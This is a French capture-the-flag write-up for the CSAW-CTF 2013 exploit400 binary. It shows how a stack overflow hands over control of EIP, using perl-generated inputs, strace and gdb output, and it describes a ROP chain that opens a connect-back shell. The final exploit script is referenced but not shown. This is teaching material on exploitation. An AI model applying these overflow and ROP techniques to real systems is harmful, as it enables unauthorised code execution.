Voici un petit write-up pour le challenge exploit400 du CSAW-CTF 2013.

Vous pouvez trouver le binaire ici : exploit400

    $ file ./miteegashun
    ./miteegashun: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV),
    statically linked, for GNU/Linux 2.6.24,
    BuildID[sha1]=41bbe92f629cbca9784458456d94282b2d2fd9e0, stripped

On a donc un ELF 32 bits statique et strippé.

L'avantage du binaire statique, c'est qu'on va avoir tout un tas de gadgets pour faire du ROP.

On remarque assez vite qu'en envoyant une longue chaine de caractère, on controle facilement EIP :

    $ perl -e 'print "A"x500;' | strace -i ./miteegashun
    [b7760424] execve("./miteegashun", ["./miteegashun"], [/* 32 vars */]) = 0
    [b77c1424] uname({sys="Linux", node="rand00m", ...}) = 0
    [b77c1424] brk(0)                       = 0x8ae6000
    [b77c1424] brk(0x8ae6d40)               = 0x8ae6d40

    ...

    [b77c1424] brk(0x8b07d40)               = 0x8b07d40
    [b77c1424] brk(0x8b08000)               = 0x8b08000
    [b77c1424] write(1, "Welcome to this demo of my explo"..., 93
    Welcome to this demo of my exploit mitigation
    This mitigation is unbeatable, prove me wrong
    ) = 93
    [b77c1424] fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0

    ...

    [b77c1424] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 500
    [b77c1424] read(0, "", 4096)            = 0
    [41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
    [????????] +++ killed by SIGSEGV (core dumped) +++
    Erreur de segmentation (core dumped)

Pour faciliter le débuguage avec GDB, j'ai utilisé un fifo :

    $ rm fifo; mkfifo fifo && perl -e 'print "A"x417 . "CCCC"' > fifo

    gdb$ r < fifo
    Starting program: /home/tosh/Downloads/./miteegashun < fifo
    Welcome to this demo of my exploit mitigation
    This mitigation is unbeatable, prove me wrong

    Program received signal SIGSEGV, Segmentation fault.
    --------------------------------------------------------------------------[regs]
      EAX: 0x43434343  EBX: 0x00000000  ECX: 0x00000003  EDX: 0x080F04E1  o d I t s z a P c
      ESI: 0x00000000  EDI: 0x08049770  EBP: 0x41414141  ESP: 0x080F0448  EIP: 0x43434343
      CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
    Cannot access memory at address 0x43434343
    0x43434343 in ?? ()
    gdb$ x/20xw $esp
    0x80f0448:      0x41414141      0x41414141      0x41414141      0x41414141
    0x80f0458:      0x41414141      0x41414141      0x41414141      0x41414141
    0x80f0468:      0x41414141      0x41414141      0x41414141      0x41414141
    0x80f0478:      0x41414141      0x41414141      0x41414141      0x41414141
    0x80f0488:      0x41414141      0x41414141      0x41414141      0x41414141

On remarque quelque chose d'étrange : déjà, l'adresse de la stack est en 0x080fXXXX. On imagine donc que le binaire a sa propre stack située dans le segment DATA.

Ensuite, après avoir écrasé EIP, on retournera dans notre buffer lorsqu'on essayera de faire du ROP.

Essayons quelque chose :

    $ rm fifo; mkfifo fifo && perl -e 'print "A"x264 . "CCCC" . "B"x(413-264) . "DDDD"' > fifo

    gdb$ r < fifo
    Starting program: /home/tosh/Downloads/./miteegashun < fifo
    Welcome to this demo of my exploit mitigation
    This mitigation is unbeatable, prove me wrong

    Program received signal SIGSEGV, Segmentation fault.
    --------------------------------------------------------------------------[regs]
      EAX: 0x44444444  EBX: 0x00000000  ECX: 0x00000003  EDX: 0x080F04E1  o d I t s z a P c
      ESI: 0x00000000  EDI: 0x08049770  EBP: 0x41414141  ESP: 0x080F0448  EIP: 0x44444444
      CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
    Cannot access memory at address 0x44444444
    0x44444444 in ?? ()
    gdb$ x/20x $esp
    0x80f0448:      0x43434343      0x42424242      0x42424242      0x42424242
    0x80f0458:      0x42424242      0x42424242      0x42424242      0x42424242
    0x80f0468:      0x42424242      0x42424242      0x42424242      0x42424242
    0x80f0478:      0x42424242      0x42424242      0x42424242      0x42424242
    0x80f0488:      0x42424242      0x42424242      0x42424242      0x42424242

Cette fois, on controle toute la chaine d'exécution !

Notre payload ressemblera à ça après calcul des différents offsets :

Payload

Il y a une petite difficultée supplémentaire : le file descriptor doit être fermée pour que le payload soit exécuté. On ne peut donc pas réutiliser la socket ! Vu que nous disposons d'une grosse quantité de gadgets, je me suis amusé à faire une ROP chain basé sur l'instruction int 0x80. Elle exécute à la suite : socket()/connect()/dup2()/execv

Voilà l'exploit : exploit400.pl

Par contre, le fichier contenant la clef s'affichait seulement avec ls -l (why ?!). Un challenge plutôt sympa.